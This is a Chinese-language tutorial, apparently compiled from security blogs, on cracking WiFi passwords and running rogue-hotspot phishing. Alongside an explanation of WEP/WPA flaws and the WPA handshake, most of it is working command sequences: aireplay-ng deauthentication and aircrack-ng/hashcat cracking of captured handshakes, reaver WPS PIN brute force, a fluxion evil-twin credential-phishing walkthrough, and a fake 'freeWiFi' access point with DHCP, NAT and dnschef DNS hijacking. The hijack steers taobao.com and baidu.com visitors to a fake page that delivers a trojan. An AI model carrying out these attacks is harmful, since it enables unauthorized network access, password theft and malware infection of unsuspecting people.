1、WEP加密及破解
1)、WEP加密方式
有线等效保密(wired euivalent pricacy,WEP)协议的使用RC4(rivest cipher4)串流加密技术保障机密性,并使用CRC-32校验和保密资料的正确性,包含开放式系统认证和共建认证。
2)WEP漏洞及破解
(1)802.2头消息和简单RC4流密码算法。导致攻击者在有客户端并有大量有效通信时,可以分析出WEP的密码
(2)重复使用。导致攻击者在有客户端少量通信或者没有通信时。可以使用ARP重复的方法获取大量有效的数据。
(3)无身份验证机制,使用线性函数CRC-32进行完整性校验。导致攻击者能使用虚连接和AP建立伪连接,进而获得XOR文件。使用线性函数CRC-32进行完整性校验,导致攻击者用XOR文件伪造一个ARP的包,然后依靠这个包去捕获大量有效数据。
破解WEP加密的无线信号依赖两个元素:
1)信号强度
2)是否有在线客户端。通过抓包、注入,然后获取密码,只要有这类信号就是百分之百可以破解的。
2、WPE加密方式
WPA加密方式 WPA全程为WiFi protected access,既Wif网络安全存取,有WPA和WPA2两个标准,是基于有线等效加密中几个严重的弱点而产生的。WPA加密方式目前有以下几种认证方式:WPA、WPA-PSK、WPA2、WPA2-PSK、WPA3。主流的加密方式是WPA2
WAP加密流程如下:
⑴ 无线AP定期发送beacon数据包,使无线终端更新自己的无线网络列表。
(2)无线终端在每个信道(1~13)广播Probe Request(非隐藏类型的Wif含ESSID,隐藏类型的wif不含ESSID)。
(3)每个信道的AP回应,ProbeResponse,包含ESSID及RSN信息。
(4)无线终端给目标AP发送AUTH包。AUTH认证类型有两种︰0为开放式,1为共享式(WPA/WPA2必须是开放式)。
(5) AP回应网卡AUTH包。
(6)无线终端向AP发送关联请求包Association Request数据包。
(7)AP向无线终端发送关联响应包Association Request数据包。
(8) EAPOL四次握手进行认证(握手包是破解的关键)。
(9) 完成认证可以上网
2)WPA破解
WPA的wifi密码破解分两种方法,抓包和跑pin码
(1) 抓包破解。wifi信号的机密的。登录无线路由器,就要向路由器发送一个请求,请求和无线路由器建立连接,这个请求就是一个包,名叫握手包,这个包里面包含了发送过去的一个密码,但是这个密码是加密的。抓包破解成功与否取决于四个方面:信号强度、是否有客户端在线、跑包的机器是否足够强大、密码本是否好用等等
(2)跑pin码破解。WPS(QSS或AOSS)功能是wifi保护设置的英文缩写。对于一般用户,WPS提供了一种相当简便的机密方法,通过该功能,不仅可将具有WPS功能的wifi设备和无线路由器进行快速连接,还会随机产生一个八位数的字符串作为个人识别号码(pin)进行机密操作,省去了客户端需要连接如无线网络时,必须手动添加网络名称(SSID)及输入冗长的无线加密密码的繁琐过程
一. fluxion介绍
fluxion是一款无线安全测试工具,其攻击的原理更偏向于社会工程学中的钓鱼。它有一个人性化的脚本,可以迅速帮你检查所需要的插件并进行安装,可以在短时间内搭建出一个完整的环境。而且现在增加了对中文的支持,这是国外好多安全工具没有的。
二. 实验环境
kali虚拟机、无线网卡、手机热点
三. 工作原理
1.扫描能够接收到的WIFI信号
2.抓取握手包(这一步的目的是为了验证WiFi密码是否正确)
3.使用WEB接口
4.启动一个假的AP实例来模拟原本的接入点
5.然后会生成一个MDK3进程。如果普通用户已经连接到这个WiFi,也会输入WiFi密码
6.随后启动一个模拟的DNS服务器并且抓取所有的DNS请求,并且会把这些请求重新定向到一个含有恶意脚本的HOST地址
7.随后会弹出一个窗口提示用户输入正确的WiFi密码
8.用户输入的密码将和第二步抓到的握手包做比较来核实密码是否正确
9.这个程序是自动化运行的,并且能够很快的抓取到WiFi密码
四. 实验步骤
选择攻击方法:握手包窥探
选择信道:2.4GHz频段穿墙性好,但是带宽窄,连接多个外设时容易出现拥挤掉线。
5.0GHz是高频信道频段,带宽大、稳定性好,接多个无线设备不会出现信道拥挤外设掉线的情况,缺点是穿墙性差。
(BSSID :无线路由MAC地址 PWR :信号强度 ESSID :WIFI名)
选择wifi所对应ID
选择无线接口
选择握手包检索方式
aireplay-ng deauthentication: 攻击主要是伪造一个disassocate包,让ap断开与客户端的链接,此时客户端会重新连接ap,如果使用的是WPA/WPA2的加密方式,通过这样做强迫客户端重新验证,我们就能够获得握手包
开始抓包:
抓取握手包成功
另一种攻击方式:生成一个虚假AP,进行钓鱼
选择一个接入点服务:hostapd能够使得无线网卡切换为master模式,模拟AP(通常可以认为是路由器)功能
选择hash:
选择hash校验方式:
选择门户接口:
选择完毕后它会开启新的控制窗口,并且建立虚假的AP,用户分配等操作,这时建立了一个虚假的AP,和真正的AP名字相同,但是没有密码,而且这个时候是没有办法连接到真实的AP的,所以机器会连接到我们做的虚假的AP上
连接到我们做的虚假的AP上之后,会自动跳出我们的钓鱼网页,要我们输入密码,如果我们输入的密码是错误的,那么当fluxion验证之后我们还是不能上网,依然是如下图那样的键入密码的页面,当我们输入正确的密码的时候,fluxion会自动结束程序并显示密码以及生成破解日志。
程序结束后我们做的虚假AP自然就不见了,这时提交了真实密码的机器会自动连上真实的AP了,作为不知情的人来说,他们可能只是感觉信号不太好,不过后面又可以上网了,一般就没有人去追究了,熟不知自己的wifi密码已经落入他人之手。
五. WIFI四次握手认证过程
4-Way Handshake Message 1
首先 Authenticator 向 Supplicant 发送一个携带 ANonce 的 EAPOL-Key frame
4-Way Handshake Message 2
Supplicant 将获得的 ANonce 和 AA,这个时候 Supplicant 已经拥有 PMK,AA 和 SPA,所以可以通过下面的函数计算出 PTK
PTK = PRF (PMK + ANonce + SNonce + AA + SPA)
Supplicant 根据 ANonce、 自己生成的一个 Nonce( SNonce) 、 自己所设置的 PMK 和 Authenticator 的 MAC 地址等信息进行密钥派生。(MAC(AA)无线网卡 MAC(SPA) AP 产生的随机值(ANonce) WiFi 随机尝试的值(SNonce)PRF(pseudo-random-function))
Supplicant 随后将 SNonce 以及一些信息通过第二个 EAPOL-Key 发送给 Authenticator。 Message 2 还包含一个 MIC 值,该值会被 KCK 加密。 接收端 Authenticator 取出 Message 2 中的 SNonce 后, 也将进行和 Supplicant 中类似的计算来验证 Supplicant 返回的消息是否正确。 如果不正确,这将表明 Supplicant 的 PMK 错误, 于是整个握手工作就此停止。
4-Way Handshake Message 3
如果 Supplicant 密钥正确, 则 Authenticator 也进行密钥派生。 此后, Authenticator 将发送第三个 EAPOL-Key 给 Supplicant, 该消息携带组临时密码( Group Transient Key, GTK, 用于后续更新组密钥, 该密钥用KEK 加密) 、 MIC( 用 KCK 加密) 。 Supplicant 收到 Message 3 后也将做一些计算, 以判断 AP 的 PMK 是否正确。 注意, IGTK( Integrity GTK) 用于加解密组播地址收发的管理帧。
4-Way Handshake Message 4
Supplicant 最后发送一次 EAPOL-Key 给 Authenticator 用于确认,如果认证成功, 双方将安装( Install) Key。 Install 的意思是指使用它们来对数据进行加密。
Controlled Port Unlocked
双方完成认证以后,authenticator 的控制端口将会被打开,这样 802.11 的数据帧将能够正常通过,而且所有的单播数据帧将会被 PTK 保护,所有的组播数据以及广播数据将会被 GTK 保护。
Supplicant 和 Authenticator 就此完成密钥派生和组对, 双方可以正常进行通信了。
由于 PTK 是有 PMK 使用所以他的加密过程是 MAC(AA)+ 无线网卡 MAC(SPA) +AP 产生的随机值(ANonce)+ WiFi 随机产生的值(SNonce)+ 你输入的密码
这个公式是由哈希和 MD5 进行计算得到的,即使你知道 4 个答案你都不能使用这个些答案进行逆推出密码,每次进行认证都是在使用不同的随机的产生的值进行运算
Aircrack-ng,是一套用于无线审计的工具,kali自带,里面包含了多种工具,此处主要用到了以下工具
airmon-ng:改变网卡的工作模式
airodump-ng:捕获802.11的数据报文
aireplay-ng:发送注入数据包攻击目标,为后续捕获握手包做准备
aircrack-ng:对捕获的握手包进行暴力破解
1、准备阶段-启动wlan0
ifconfig检查无线网卡wlan0是否启动
一定保证他现在没有连接任何wifi。上面那个wlan0里面没有IP地址什么的,就说明现在不在连接中
查看无线网卡状态
iwconfig(查看无线网卡状态信息)
激活无线网卡至monitor模式,监听模式
airmon-ng start wlan0(开启激活网卡)
我们可以看到上面显示mac80211 monitor mode vif enabled for wlan0 on wlan0mon……
再次检查网卡状态
iwconfig
我们网卡的名称为wlan0mon了
2、探测阶段-确定需要攻击的wifi
利用网卡搜索周围能获取的wifi的信息
airodump-ng wlan0mon
(bssid:为目标的mac地址、pwr:与目标的距离,该值越大,距离越近、#data:目标的实时数据传输量、CH:信道、ENC:加密方式,可以看到,都是wpa2的、essid:wifi的名称)
3、嗅探并抓取目标的握手包
分为两步:
a,通过airodump-ng开启抓包模式
airodump-ng --bssid D2:77:95:60:E7:00 -c 10 -w t1 wlan0mon
-c指的是信道
-w保存的文件名
wlan0mon为网卡
图中STATION为连接这个ap客户端的mac地址,需要记录,后续抓握手包使用
此处需要一直开启监听,之后新开一个终端进行泛洪攻击使客户端与ap断开连接,断开后会自动重新连接,这时才能抓到握手包,也就是说一般只有刚开始连接的时候可以抓到握手包,或者目标在进行大流量传输时,比如使用迅雷等,才会抓到。
b,通过aireplay-ng攻击目标
aireplay-ng -0 2 -a D2:77:95:60:E7:00 -c 90:78:B2:2D:1E:43 wlan0mon
-0:冲突攻击,使目标与客户端断开连接,重新连接时从而获取握手包,2指的是攻击两次
#此值不要设置太大,2次足够了,网上的很多教程都是10次,经过测试是不稳定,如果攻击完两次依然没有握手包就再试一次,就可以了。
-0攻击的原理
通过wireshark抓取握手包分析发现
ffffffff为攻击网卡伪造的mac地址
airelay-ng攻击的原理是向目标ap不断发送Deauthentication数据包
该数据包的作用是让当前ap断开与指定客户端的链接,并且在该攻击时间内,所选中的ap无法被连接
airodump成功获取握手包
4、使用aircrack-ng破解握手包,获取密码
获取到的握手包保存在这里,生成的其它文件也是捕获到的数据包,不过一般用不到,只用这一个
aircrack-ng -w /home/rookie/桌面/pojie.txt t1-01.cap
-w:指定密码字典的路径
后边直接跟cap文件名称
1、简介
PIN码共为8位,按431分段,总共穷举有11000种组合。通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码。 容易碰到的问题:连接超时,卡住,路由自保护等。
reave的进度表文件保存在:
1.3版 : /etc/reaver/MAC地址.wpc
1.4版:/usr/local/etc/reaver/MAC地址.wpc
2、网卡启动
iwconfig
airmon-ng start wlan0
3、开启嗅探模式
查看支持wps的ap
wash -i wlan0mon
查看目前MB有没有可以破解的wifi
MB:是一直支持速率,关于802.11标准的,不过一般是用来看是否开启wps的,一般情况下54e.后面有.的都是开启的,但是也不完全。
4、开启破解跑pin
reaver -i wlan0monmon -b B4:54:59:5A:DF:F0
-vv
最终你就能得到wifi的PIN码以及密码。把这两个记下来,一般来说wifi主人过段时间就会更改密码但不会更改PIN码,这时我们只要加上-p命令,WiFi密码秒出。
知道Pin码以后使用如下命令饭计算出wifi连接密码:
reaver -i wlan0monmon -b MAC地址 -p Pin码
PS: 此方法受信号强度和WPS保护机置等影响
首先先把我们的握手包转化为hccapx格式,现在最新版的hashcat只支持hccapx格式了,以前的hccap格式已经不支持了
官方在线转化https://hashcat.net/cap2hccapx/
hashcat64.exe -a 3 -m 2500 1.hccapx
1391040?d?d?d?d
安装DHCP服务器
apt-get install isc-dhcp-server
配置dhcp服务器
打开终端,输入命令:vim
/etc/dhcp/dhcpd.conf
在这个文件中插入下面内容:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
这里以10.0.0.1作为网关和dns服务器地址。
处理无线网卡
打开终端,先输入ifconfig看下你的无线网卡名字叫什么:
然后执行下面的命令:
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0
上述命令可以防止在钓鱼时因为和其他进程冲突出现:Error: Got channel -1, expected a value > 0的错误
建立热点
我们的无线网卡已经准备好并切换到监听模式了,这时候我们可以建立钓鱼热点了。
建立之前我们要再次使用ifconfig确定一下无线网卡的名称。
这里我们使用Aircrack-ng这个软件来创建无线热点。
输入下面命令:
airbase-ng -e freeWiFi -c 11 wlan0
其中-e后面的参数是要建立的WiFi名(SSID),这个参数要随机应变,到了星巴克就是Starbucks,到了机场就是Airport Free WiFi,也可以是CMCC、ChinaUnicom等。-c后面的参数是信道,最后一个参数是要使用的无线网卡。
重新打开一个终端,输入下面命令,热点的网络流量会被虚拟到at0这块网卡上面:
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
这时如果用手机搜索WiFi会发现已经可以看到一个名叫“freeWiFi”的热点了,但是不可以连接,是因为没有dhcp服务器为其分配ip地址,我们继续。
打开ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward
开启dhcp服务器
将dhcp服务器设置为只启动ipv4服务,并且设置好网卡:
执行命令vim /etc/default/isc-dhcp-server
按“i”键切换到insert模式,注释掉INTERFACESv6="",在INTERFACESv4=""中设置网卡at0
按“esc”键切换到命令模式,输入“:wq 回车”保存
执行dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
开启dhcp :service isc-dhcp-server start
【如果报错Starting ISC DHCPv4 server: dhcpddhcpd service already running (pid file /var/run/dhcpd.pid currenty exists) …则执行rm /var/run/dhcpd.pid先删除这个文件,再执行service isc-dhcp-server start】
截止到此步骤,我们已经可以连接到钓鱼wifi了,并且能在详细设置中看到ip地址已经被分配,但还无法上网。
配置NAT
查看网关地址:
终端执行route -n
我们要查看能上网的网卡网关,因此我们记下eth0的Gateway为192.168.111.2,后面的操作我们将把流量转发到这个网关中。
执行以下命令来配置NAT:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.111.2 #
再次测试,可以上网了
DNS劫持
使用dnschef工具
过程:
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个"代理"并没有劫持的功效
于是我们进化:
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
把淘宝和百度解析到本机了。
在本机搭建钓鱼页面,如flash:
当用户访问taobao.com,baidu.com时候,就会提示这个页面,然后下载我们伪装的木马文件,运行、上线。
或者直接拦截所有响应
dnschef --fakeip=10.0.0.1
无论他打开什么页面都会提示这个flash页面
https://www.freebuf.com/articles/wireless/283288.html
https://blog.csdn.net/shuteer_xu/article/details/114696986
利用Kali进行WiFi钓鱼测试实战 - h4ck0ne - 博客园 (cnblogs.com)
无线安全: 通过伪AP进行DHCP+DNS劫持的钓鱼攻击 - 郑瀚Andrew.Hann - 博客园 (cnblogs.com)
手机扫一扫
移动阅读更方便
你可能感兴趣的文章